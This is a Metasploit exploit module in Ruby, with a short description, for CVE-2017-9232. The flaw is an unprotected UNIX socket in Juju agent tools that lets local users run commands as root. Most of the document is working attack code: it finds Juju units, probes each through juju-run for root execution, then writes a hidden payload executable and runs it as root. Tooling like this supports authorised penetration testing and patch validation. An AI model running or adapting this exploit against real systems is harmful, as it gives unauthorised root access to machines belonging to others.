Juju-run Agent Privilege Escalation

This Metasploit module attempts to gain root privileges on Juju agent systems running the juju-run agent utility. Juju agent systems running agent tools prior to version 1.25.12, 2.0.x before 2.0.4, and 2.1.x before 2.1.3, provide a UNIX domain socket to manage software ("units") without setting appropriate permissions, allowing unprivileged local users to execute arbitrary commands as root. This Metasploit module has been tested successfully with Juju agent tools versions 1.18.4, 1.25.5 and 1.25.9 on Ubuntu 14.04.1 LTS x86 deployed by Juju 1.18.1-trusty-amd64 and 1.25.6-trusty-amd64 on Ubuntu 14.04.1 LTS x86_64.


MD5 | eb38e1fdceb4a094a0ae325d89253b30

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Juju-run Agent Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Juju agent systems
running the juju-run agent utility.

Juju agent systems running agent tools prior to version 1.25.12,
2.0.x before 2.0.4, and 2.1.x before 2.1.3, provide a UNIX domain socket
to manage software ("units") without setting appropriate permissions,
allowing unprivileged local users to execute arbitrary commands as root.

This module has been tested successfully with Juju agent tools versions
1.18.4, 1.25.5 and 1.25.9 on Ubuntu 14.04.1 LTS x86 deployed by Juju
1.18.1-trusty-amd64 and 1.25.6-trusty-amd64 on Ubuntu 14.04.1 LTS x86_64.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ryan Beisner', # Discovery and PoC
'David Ames (@thedac)', # Discovery and PoC
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'DisclosureDate' => 'Apr 13 2017',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'References' =>
[
[ 'CVE', '2017-9232' ],
[ 'BID', '98737' ],
[ 'URL', 'https://bugs.launchpad.net/juju/+bug/1682411' ]
]
))
register_options(
[
OptString.new('UNIT', [ false, 'A valid Juju unit name', '' ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end

def check
juju_run_path = cmd_exec 'which juju-run'

if juju_run_path.start_with? '/'
vprint_good 'juju-run is installed'
return CheckCode::Detected
end

vprint_error 'juju-run is NOT installed'

CheckCode::Safe
end

def unit_names
units = []

cmd_exec('/bin/ls -m /var/log/juju/*.log').chomp.split(/,\s*/).each do |log|
units << ::File.basename(log).gsub(/\.log$/, '')
end

cmd_exec('/bin/ls -m /var/lib/juju/agents/').chomp.split(/,\s*/).each do |agent|
units << ::File.basename(agent)
end

units.uniq
end

def execute_command(cmd, opts = {})
cmd_exec "juju-run #{opts['unit']} '#{cmd}'"
end

def upload_and_chmodx(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
cmd_exec "chmod +x '#{path}'"
register_file_for_cleanup path
end

def exploit
if check != CheckCode::Detected
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

units = datastore['UNIT'].blank? ? unit_names : [ datastore['UNIT'] ]

if units.empty?
fail_with Failure::Unknown, "Could not find any Juju units. Try specifying a 'UNIT'"
end

# Check each unit for a privileged socket
print_status "Trying #{units.size} units..."

socket_unit = nil
unit_names.each do |unit|
id = execute_command 'id', 'unit' => unit

if id.include? 'root'
print_good "Unit #{unit.inspect} uses a privileged socket"
socket_unit = unit
break
end
end

if socket_unit.nil?
fail_with Failure::NotVulnerable, 'Could not find any Juju units using a privileged socket'
end

# Upload payload executable
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
payload_path = "#{datastore['WritableDir']}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe

# Execute payload executable
vprint_status 'Executing payload...'
execute_command payload_path, 'unit' => socket_unit
end
end

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